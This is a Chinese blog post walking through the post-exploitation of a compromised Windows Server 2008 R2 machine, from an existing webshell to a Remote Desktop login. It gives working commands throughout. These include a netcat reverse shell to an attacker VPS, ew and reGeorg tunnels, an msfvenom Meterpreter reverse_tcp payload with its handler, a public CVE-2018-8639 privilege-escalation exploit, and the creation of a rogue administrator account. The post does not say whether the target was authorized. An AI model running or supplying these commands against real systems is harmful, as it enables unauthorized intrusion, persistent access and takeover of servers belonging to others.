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<p>title: 从webshell到3389<br>date: 2019-05-18 19:57:38<br>tags:</p>
<ul>
<li>内网渗透</li>
<li>端口与代理转发</li>
<li>提权<br>categories: 渗透测试</li>
</ul>
<hr>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>之前玩过一下linux下的提权，前段时间在上课的时候看了亮神的文章，感觉渗透还是不应该只停留在web层面。虽然说连WEB层面的东西都还没搞懂，但是还是想拓宽一下自己的攻击思路。当拿到了一个webshell之后，还能干什么呢？之前挖SRC，运气好也撞到过一个RCE，但是这些都只能停留在拿了shell之后，就不能再测下去了，后渗透这块，完全不清楚，虽然这次还是没有接触到域渗透，但是学了一些内网与代理之类的知识，还是做个小结为好。</p>
<h1 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h1><h2 id="一些信息"><a href="#一些信息" class="headerlink" title="一些信息"></a>一些信息</h2><p>首先</p>
<p>拿到了一台服务器的webshell，这台机的状况</p>
<ul>
<li>只有一个内网IP</li>
<li>webshell权限 nt authority\network service（非system）可以执行命令</li>
<li>Microsoft Windows Server 2008 R2</li>
<li>systeminfo 补丁到 [246]: KB4034733（补丁最后时间大概在2016年左右）</li>
<li>不存在域</li>
</ul>
<p>由于在内网里面，很多操作需要用到代理。</p>
<p>内网端口转发：阿烨师傅的文章 <a href="https://www.jianshu.com/p/735e8f1746f0" target="_blank" rel="noopener">https://www.jianshu.com/p/735e8f1746f0</a></p>
<p>我个人使用了</p>
<h2 id="ew"><a href="#ew" class="headerlink" title="ew"></a>ew</h2><p>我尝试了用连接 本机-vps-webshell</p>
<p>ps:如果需要交互可以上传一个nc和cmd 反弹cmd</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">vul: nc -e cmd.exe yourvps 2333</span><br><span class="line">vps: nc -lvvp 2333</span><br></pre></td></tr></table></figure>
<p>一般ew是会被杀，暂时没有了解免杀方面的知识</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">vul: ew -s rssocks -d yourvps -e 2333</span><br><span class="line">vps: ./ew_for_linux64 -s rcsocks -l 1080 -e 2333</span><br></pre></td></tr></table></figure>
<p>自己的电脑可以直接上个代理</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">地址: yourvps 2333</span><br></pre></td></tr></table></figure>
<h2 id="reGeorg与Proxifier"><a href="#reGeorg与Proxifier" class="headerlink" title="reGeorg与Proxifier"></a>reGeorg与Proxifier</h2><p>详细可以看 <a href="https://xz.aliyun.com/t/228" target="_blank" rel="noopener">https://xz.aliyun.com/t/228</a></p>
<p>上传tunnel.aspx</p>
<p>访问显示</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Georg says, &apos;All seems fine</span><br></pre></td></tr></table></figure>
<p>运行</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python reGeorgSocksProxy.py -p 9999 -u http://xxxxxx.com/tunnel.asp</span><br></pre></td></tr></table></figure>
<p>设置代理服务器为9999</p>
<p>设置好代理之后就可以3389链接了</p>
<p>连接地址：vul的内网ip</p>
<h2 id="上传meterpreter"><a href="#上传meterpreter" class="headerlink" title="上传meterpreter"></a>上传meterpreter</h2><p>渗透自然少不了metaspolit</p>
<p>在拿了webshell之后，上次一个meterpreter上去会方便很多操作，</p>
<p>可以参考亮神的Micro8</p>
<p><a href="https://micro8.gitbook.io/micro8/contents-1/1-10/10msfvenom-chang-yong-sheng-cheng-payload-ming-ling" target="_blank" rel="noopener">https://micro8.gitbook.io/micro8/contents-1/1-10/10msfvenom-chang-yong-sheng-cheng-payload-ming-ling</a></p>
<p>我在腾讯云上生成好像在运行的时候报错了，所以我直接在我的windows上生成了</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=yourvps LPORT=2334 -f exe &gt; payload.exe</span><br></pre></td></tr></table></figure>
<p>在vps上</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">use exploit/multi/handler</span><br><span class="line">set payload windows/x64/meterpreter/reverse_tcp</span><br><span class="line">set lhost yourvps</span><br><span class="line">set lport 2334</span><br><span class="line">exploit</span><br></pre></td></tr></table></figure>
<p>获取到会话</p>
<p>关于meterpreter的操作可以参考先知社区的 <a href="https://xz.aliyun.com/t/2536" target="_blank" rel="noopener">https://xz.aliyun.com/t/2536</a></p>
<h2 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h2><p>meterpreter的某些操作需要足够的权限，以及我并没有一个可以登入3389的账户，webshell本身权限也不够，所以提权是必不可少的。</p>
<p>同样的亮神的第一课和第二课都是关于提权的。</p>
<p>windows下的提权</p>
<p>对外公开的exp: <a href="https://github.com/SecWiki/windows-kernel-exploits" target="_blank" rel="noopener">https://github.com/SecWiki/windows-kernel-exploits</a></p>
<p>我选择了CVE-2018-8639来提权</p>
<p><a href="https://github.com/ze0r/CVE-2018-8639-exp" target="_blank" rel="noopener">https://github.com/ze0r/CVE-2018-8639-exp</a></p>
<p>exp.exe </p>
<p>再whoami,权限变成了</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nt authority\system</span><br></pre></td></tr></table></figure>
<p>添加一个账户并且给他管理员</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">net user test password /add</span><br><span class="line">net localgroup administrators test /add</span><br></pre></td></tr></table></figure>
<p>reGeorg与Proxifier配合使用登入3389</p>
<h1 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h1><p>这次算是了解了一些内网方面的知识，因为环境有限没发现有其他可下一步内网漫游的方向，所以只能到此为止，有机会再看看能不能接触域渗透方面的知识。</p>
<p>配个图：安利一个好工具冰蝎 <a href="https://github.com/rebeyond/Behinder" target="_blank" rel="noopener">https://github.com/rebeyond/Behinder</a></p>
<p><img src="/2019/05/18/从webshell到3389/1.png" alt=""></p>

      
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